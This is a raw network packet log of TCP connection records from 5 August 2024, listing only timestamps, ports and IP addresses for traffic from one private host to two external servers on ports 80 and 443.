Aug 5, 2024 12:01:29.276917934 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.277657986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.277853966 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.277900934 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.277941942 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.277956963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.277996063 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.278090954 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.278105974 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.278121948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.278198004 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.278230906 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.278249979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.278265953 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.278280020 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.278284073 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.278311014 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.329638958 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610049963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610066891 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610085011 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610167027 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610198021 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610214949 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610229969 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610246897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610274076 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610274076 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610452890 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610467911 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610483885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610508919 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610522032 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610608101 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610620975 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610634089 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610650063 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610706091 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610706091 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610877991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610893965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610908985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610923052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610939026 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610955000 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610964060 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.610968113 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.610980988 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611018896 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.611430883 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611480951 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.611489058 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611505032 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611565113 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.611665964 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611680984 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611696959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611712933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611751080 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.611751080 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.611900091 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611915112 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.611974001 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.674402952 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.674484968 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.675035000 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.675035954 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.675110102 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.675158978 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.675884962 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.675893068 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.675905943 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.675937891 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.675945997 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.676163912 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.676177025 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.676906109 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.676953077 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.676959038 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.677215099 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.677258015 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.677970886 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.677978039 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.681967020 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.682264090 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.682271957 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.683043957 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.683048964 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.774665117 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.774828911 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.774889946 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.775007963 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.775007963 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.775046110 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.775090933 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.775660992 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.775742054 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.775799036 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.776087046 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.776087046 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.776102066 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.776109934 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.776834965 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.776909113 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.776969910 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.777476072 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.777489901 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.777508974 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.777513981 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.778383017 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.778446913 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.778493881 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.779033899 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.779051065 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.779061079 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.779067993 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.786179066 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.786242962 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.786286116 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.786535025 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.786542892 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.786556005 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.786561012 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.877605915 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877640963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877656937 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877675056 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877695084 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.877712011 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.877805948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877820969 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877836943 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877862930 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.877938986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.877979994 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878015995 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.878191948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878206968 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878221989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878238916 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878257990 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878262997 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.878262997 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.878417015 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.878552914 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878635883 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878652096 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878707886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.878751040 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878767014 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878782988 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.878804922 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.878820896 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.878988981 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879014969 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879029989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879100084 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.879311085 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879342079 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879360914 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.879436970 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879452944 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879484892 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.879652023 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879702091 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879715919 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.879719019 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879762888 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879770041 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.879781961 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879798889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.879832029 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.923341990 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.126096010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126116037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126141071 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126158953 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.126162052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126167059 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126169920 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126179934 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126215935 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.126302958 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126415014 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126432896 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126447916 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126465082 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126472950 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.126482964 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126498938 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126506090 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.126543999 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.126872063 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126916885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126934052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.126972914 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.127046108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127068996 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127084970 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127093077 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.127100945 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127137899 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.127274990 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127290964 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127305031 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127315044 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.127321959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127337933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.127341986 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.127479076 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.127823114 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128015041 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128030062 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128046036 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128055096 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.128082037 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.128190041 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128206015 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128221035 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128277063 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.128304958 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128319025 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.128587008 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.212975979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.267151117 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.423615932 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.423662901 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.423680067 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.423729897 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.423768044 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.423784971 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.423810005 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.423825979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.423865080 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.423913956 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.423928022 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424041986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424057961 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424074888 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424091101 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424176931 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.424176931 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.424278021 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424293041 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424309015 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424325943 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424336910 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.424341917 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424360037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424371958 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.424468040 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.424786091 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424801111 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.424839973 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425014973 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425079107 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425093889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425120115 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425230026 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425246000 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425261974 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425277948 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425280094 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425301075 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425405979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425424099 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425440073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425461054 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425488949 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425597906 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425657034 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425673962 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425710917 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425779104 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425793886 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425808907 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.425822020 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.425854921 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.426039934 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.470140934 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.510497093 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.563906908 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.768556118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768595934 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768605947 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768640041 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768652916 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768668890 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.768699884 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.768785954 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768798113 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768809080 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768836975 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.768851995 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.768933058 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768944979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768955946 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.768986940 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769160986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769171953 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769184113 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769196987 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769207954 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769210100 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769229889 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769258022 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769418001 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769484997 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769496918 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769535065 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769654989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769668102 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769680023 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769691944 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769706011 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769718885 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769867897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769879103 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769915104 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.769985914 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.769998074 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770045042 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.770066977 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770085096 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770124912 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.770252943 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770265102 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770275116 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770286083 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770297050 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770306110 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.770318031 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.770355940 CEST	49894	80	192.168.2.7	27.221.16.149
